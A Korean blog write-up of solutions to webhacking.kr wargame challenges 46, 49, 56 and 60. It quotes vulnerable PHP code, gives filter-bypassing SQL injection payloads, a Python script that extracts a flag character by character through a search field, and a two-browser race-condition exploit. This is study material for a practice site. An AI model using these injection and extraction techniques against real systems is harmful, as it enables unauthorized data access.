webhacking.kr 46번, 49번, 56번, 60번 풀이

💡 46번 문제 풀이

1이 입력되어있길래 제출 버튼을 누르니 이런 화면이 뜬다.

<?php
  if($_GET['lv']){
    $db = dbconnect();
    $_GET['lv'] = addslashes($_GET['lv']);
    $_GET['lv'] = str_replace(" ","",$_GET['lv']);
    $_GET['lv'] = str_replace("/","",$_GET['lv']);
    $_GET['lv'] = str_replace("*","",$_GET['lv']);
    $_GET['lv'] = str_replace("%","",$_GET['lv']);
    if(preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]"));
    if($result){
      echo("{$result['id']} information<br><br>money : {$result['cash']}");
      if($result['id'] == "admin") solve(46);
    }
  }
?>

소스코드를 보면, addslashes 라는 부분이 있는데, 이 함수는 문자열 안의 특수문자가 잘 인식되도록 역슬래시를 추가해주는 함수이기 때문에 이 코드에서는 특수문자인 쿼터를 이용한 공격이 통하지 않는다. 즉 이 문제에서는 ' 공백 / * % select 0x limit cash 이런 문자들을 필터링하고 있는 것이다. 따라서 쿼리문을 작성할 때 이 문자들을 포함시키면 안되기 때문에 lv=0 or id='admin' 이라는 쿼리문을 필터링에 맞게 다듬어주어야 한다. 0으로 해준 이유는 1~4까지는 유저가 생성되어 있었기 때문.

  1. 공백을 쓸거면 %09로
  2. 16진수가 필터링되므로 2진수나 char()이용
  3. or은 ||, and는 && 사용 가능

결국, 답은 0||id=char(97,100,109,105,110) 이나 0||id=0b0110000101100100011011010110100101101110 등 많을 것이다. (&&는 and의 표현이며 전자는 char함수를 통해 아스키코드를 문자로 변환해준 것이고, 후자는 admin에 해당하는 2진코드를 넣어준 것)

💡 49번 문제 풀이

46번과 문제 첫 화면 구성이 같다.

<?php
  if($_GET['lv']){
    $db = dbconnect();
    if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
    echo $result[0] ;
    if($result[0]=="admin") solve(49);
  }
?>

문제 풀이 방식도 정말 비슷한데, 여기서는 hex를 우회하지 않기 때문에 admin을 16진수로 바꾸어 넣어줘도 되고 방법이 아주 많다. 나는 46번과 같이 이진수를 이용해 0||id=0b0110000101100100011011010110100101101110 를 넣어주니 풀렸다.

💡 56번 문제 풀이


리드미를 선택해보면 access denied 라고 뜨고 hi~를 클릭하면 hello~라는 문구가 나온다. 그래서 search 에 hello~를 입력해보니 게스트 테이블만 보여주는 걸 알게 되었고,


h e l o 각각 한글자씩 입력해보니 어드민과 게스트를 둘 다 보여주는 걸 확인할 수 있었다. 또 다른 알파벳 m같은 걸 입력해보니 어드민을 보여주었다.. 리드미에 ~과 같은 특수문자를 제외한 모든 알파벳이 포함되어 있는건가? 라는 생각이 든다. 하지만 이걸론 알 수 없으니 파이썬 코드를 돌리기로 했다.

import requests

cookies = {'PHPSESSID': '세션아이디'}
url = "https://webhacking.kr/challenge/web-33/index.php"

flag = "flag{"
data = {'search': ""}
for i in range(0, 100):
    for j in range(38, 127):
        data['search'] = flag+chr(j)
        res = requests.post(url, cookies=cookies, data=data)
        if((res.text).find("admin") > 0):
            flag += chr(j)
            print("flag :"+flag)
            break
print(flag)

그럼 플래그 값이 출력된다!! (플래그 값을 넣어야겠다고 생각한 이유는 search에 flag라고 입력해봤는데 리드미가 떴기 때문)

💡 60번 문제 풀이

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
  login_chk();
  echo "Your idx is {$_SESSION['idx']}<hr>";
  if(!is_numeric($_COOKIE['PHPSESSID'])) exit("Access Denied<br><a href=./?view_source=1>view-source</a>");
  sleep(1);
  if($_GET['mode']=="auth"){
    echo("Auth~<br>");
    $result = file_get_contents("./readme/{$_SESSION['idx']}.txt");
    if(preg_match("/{$_SESSION['idx']}/",$result)){
      echo("Done!");
      unlink("./readme/{$_SESSION['idx']}.txt");
      solve(60);
      exit();
    }
  }
  $p = fopen("./readme/{$_SESSION['idx']}.txt","w");
  fwrite($p,$_SESSION['idx']);
  fclose($p);
  if($_SERVER['REMOTE_ADDR']!="127.0.0.1"){
    sleep(1);
    unlink("./readme/{$_SESSION['idx']}.txt");
  }
?>

<간략한 코드 해석>

  1. 세션아이디 쿠키값이 정수가 아니면 안됨
  2. 1초 쉰 후, 겟으로 받은 mode값이 "auth"면 ./readme 어쩌구 텍스트 파일을 읽음 -> 이때 읽어온 result값과 $_SESSION['idx']이 일치하면 문제 해결
  3. 파일 생성 후 ip주소가 127.0.0.1이 아니라면 텍스트 파일을 unlink, 즉 삭제한다

나의 ip 주소는 로컬호스트가 아니기 때문에, 파일이 생성된 후 1초만에 auth를 요청해야 한다.
여기서 Race Condition이라는 개념이 나온다. Race Condition이란, 두개 이상의 프로세스가 한정된 자원에 동시에 접근하기 위해 서로 경쟁하는 상태를 말하는데, 여기서는 이를 이용해 한쪽에서는 파일을 생성하고 다른 한쪽에서는 1초 안에 auth를 요청해 파일을 읽어주어야 할 것이다.

다음의 과정을 통해 문제를 해결할 수 있었다.

  1. 크롬과 엣지를 열어 각각 쿠키값을 다르게 넣어준다.(쿠키값이 같으면 하나의 프로세스로 인식함) 이때 정수값이어야 한다.
  2. 엣지에서 주소 뒤에 ?mode=auth 를 쳐놓고 대기한다.
  3. 크롬에서 새로고침을 누르는 동안 엣지에서도 새로고침을 한다.

참고: race condition에서 스레드의 실행 순서를 잘 조절해주지 않으면 버그와 같은 문제 혹은 비정상적인 상태가 발생한다. 공격자가 이를 악용하면 서비스 거부, 즉 DoS 공격이 가능하기 때문에 보안상의 문제를 고려해야 한다고 한다.

😎 느낀점

sql인젝션을 많이 알고 있다고 생각했는데 풀어도 풀어도 모르는게 나오는 것 같다. 이번에는 or은 ||, and는 && 으로 대체할 수 있다는걸 알게 되었다. (전에는 그냥 or, and을 쓰고 공백을 %09 처리해주었었는데 ||, &&이 훨씬 편한 것 같다. 사용할 수 있는 상황이면 이 문자들을 잘 써야겠다.)
56번 코드를 스스로 처음부터 끝까지 짜지는 못했지만, 검색을 통해 코드를 완성하는 과정에서 앞으로 이런 상황에서 어떻게 코드를 짜야할 지 알게 되었다.
그리고 60번같은 경우는 race condition이라는 개념에 대해 알 수 있는 정말 좋은 문제였다고 생각한다.

좋은 웹페이지 즐겨찾기